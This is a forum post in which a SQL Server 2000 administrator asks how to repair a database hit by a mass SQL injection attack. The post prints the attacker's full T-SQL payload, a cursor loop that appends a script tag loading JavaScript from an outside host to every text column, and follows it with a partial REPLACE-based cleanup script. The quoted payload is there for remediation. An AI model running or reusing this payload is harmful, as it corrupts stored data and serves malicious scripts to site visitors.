My database (SQL Server 2000) was littered with XSS javascript by a recent SQL injection attack. I removed most of the debris by running the attacking code (see below) with a REPLACE statement. Worked great on varchar and nvarchar fields, but REPLACE won't work on text and ntext fields.
Questions:
1) Will anything in the code damage data? E.g, will the DECLARE and UPDATE statements truncate data > 255 characters?
2) How can I fix the ntext and text fields?
Questions:
1) Will anything in the code damage data? E.g, will the DECLARE and UPDATE statements truncate data > 255 characters?
2) How can I fix the ntext and text fields?
Code:
//sysobjects.xtype = u indicates user tables
//syscolumns.xtype = 99, 35, 231, 167 indicates ntext, text, nvarchar, varchar respectively
The attack:
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE (@@FETCH_STATUS = 0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+'] = RTRIM(CONVERT(VARCHAR(4000), ['+@C+'])) + ''<script src=[URL unfurl="true"]http://www.adwbnr.com/b.js></script>''')[/URL]
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
The partial fix:
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype = 231 OR b.xtype = 167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE (@@FETCH_STATUS = 0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+'] = REPLACE(['+@C+'] , ''<script src=[URL unfurl="true"]http://www.adwbnr.com/b.js></script>'',[/URL] '''')')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor